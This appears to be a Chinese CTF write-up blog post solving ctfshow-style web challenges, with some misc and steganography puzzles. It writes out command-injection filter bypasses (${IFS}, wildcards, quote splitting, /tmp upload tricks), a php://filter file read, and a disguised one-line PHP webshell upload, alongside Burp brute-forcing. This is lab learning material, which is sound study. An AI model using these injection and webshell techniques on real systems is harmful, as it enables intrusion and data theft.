type
status
date
slug
summary
tags
category
icon
password
web42
ls;然后tac flag.php;
web43
同上,只需将;改为||或%0a
web44
ls||然后tac fla?.php||
web45
ls||然后tac%09fla?.php||
web46+web47+web48+web49+web50
ls||然后tac<f''lag.php||
可使用cat,more,nl,tail通过””,’‘,\等替换tac,执行后查看源码
web51
ls||然后n””l<f''lag.php||查看源码
web52
ls||有flag.php是假的,真的在根目录ls${IFS}/||
n\l${IFS}/f?ag||
web53
ls然后ca""t${IFS}fla?.php
web54
ls然后cp${IFS}f???.???${IFS}d.txt然后访问d.txt,把cp改为mv也可以
web55+56
写一个html文件向题目网址传文件,该文件会被放到临时文件夹/tmp/php??????中
上传任意文件,使用bp抓包

[@-[]表示大写字母,只有上传的文件最后才可能为大写字母

#|/bin/sh写不写都一样
ls(没结果多试几次,因为/tmp/php??????最后一位不一定是大写字母)然后tac flag.php
web57
提示flag在36.php,只需搞出36即可,利用$(())=0,$((~$(())))=-1,∼x=−x−1
可得
web58+59+60+61+62+63+64+65
1.
还可以使用file_get_contents()(只有58能用),highlight_file()(通用)替换
2.c=include($_GET[1]);然后通过get传参使用伪协议(非通用)
web66
发现flag.txt,使用
web67
同上,只是print_r()被禁用,换成var_dump()
web68 提示highlight_file()被禁用
post传参c=include($_GET[1]);然后通过get传参使用伪协议
?1=php://filter/convert.base64-encode/resource=/flag.txt;
web69+70
web71
查看附件源码,在执行完命令后,会将页面字符替换为?,只需执行完命令立刻退出即可
web72
使用uaf脚本绕过
进行url加密后使用即可得到flag
web73+74
得到flag位置
web75+76
使用同上方法查看目录,通过PDO连接数据库information_schema(默认数据库)
web77
此题利用的是PHP 7.4+的FFI特性
可以使用同上方法查看目录,也可使用FFI
相关知识:
web118
随便输一个,用bp抓包,进行爆破,根据长度得到小写字母和一些特殊字符被过滤
利用环境变量
PATH
一般是/bin
,题目路径PWD
是/var/www/html
。使用取反号时,任何字母等同于数字0。
构造
web21
随便输入用户和密码(输入admin,admin),使用bp抓包,看见base64编码,解密得到admin:admin,下载附件,只有密码的,盲猜admin,将包放到intruder,添加payload位置


添加密码本,添加规则:1.前缀:admin: 2.进行base64编码 攻击即可得到正确密码。输入得到flag
web23
分析代码,上传的值的MD5要求满足
ai写脚本爆破
利用环境路径等构造payload
PATH:/bin
${USER}:
www-dataHOME:/
PWD:/var/www/html
数字
PHP_VERSION:可通过浏览器插件wappalyzer查看
例如:版本为7.3.22 ${PHP_VERSION:~A}等价于2
-1:~A(任意字母)
1:
${#SHLVL}
、${##}
、${#?}
3:${#IFS}
${#RANDOM}随机返回,多数为4或5,5的概率大(${RANDOM}完全随机)
web119
随便输一个,用bp抓包,进行爆破(字典:https://img2.sanye.us.kg/sanye/fuzz.txt),根据长度得到小写字母和一些特殊字符被过滤,PATH也被过滤
可以拼一个
多试几次,将回显进行base64解码
web120
分析代码后,构造/bin/base64 flag.php,多试几次,将回显进行base64解码
web121
同上,payload改为
web122
web151(可以直接改前端代码)+152
将一句话木马文件(1.php)后缀改为1.png,上传后通过抓包改回来,成功上传访问/upload/1.php,执行
也可以使用蚁剑连接
一句话木马
休闲一下:
misc30
下载附件明显是压缩包,修改格式后解压,无密码即得到一张图片,查看图片属性发现备注little stars 为第一个密码,输入密码解压后得到一个word文档,打开全选发现字数与看到的字数不一样,清除格式出现第二个密码Hello friend!,继续解压得到二维码,扫描得到flag
stega1
纯工具,使用jphs
misc50
文件为照片,直接binwalk看看,有压缩包,解压再解压,再解压要密码,使用010查看,在第二压缩包发现特殊字符串GEZDGNBVGYFA====
base32解密得123456,解压压缩包,得到许多数字,放CyberChef两次16hex解码得到7z压缩包,下载后解压发现要密码,放010未发现什么,放开始的照片到010发现特殊字符穿串,base64解码的KEY{Lazy_Man},解压后的得到大串字符,放CyberChef,base64解码然后一直点击魔法棒,发现使用base64与base32按一定规律解密,最终得到由. ? !的字符串,直接没头绪
查看wp,将这段!?字符串放在word里,用空格替换换行,放https://www.splitbrain.org/services/ook
点击Ook to text!然后得到大量Brainfuck编码 点击Brainfuck to Text得到flag
- 作者:sanye
- 链接:https://sanye.me/article/1.10
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。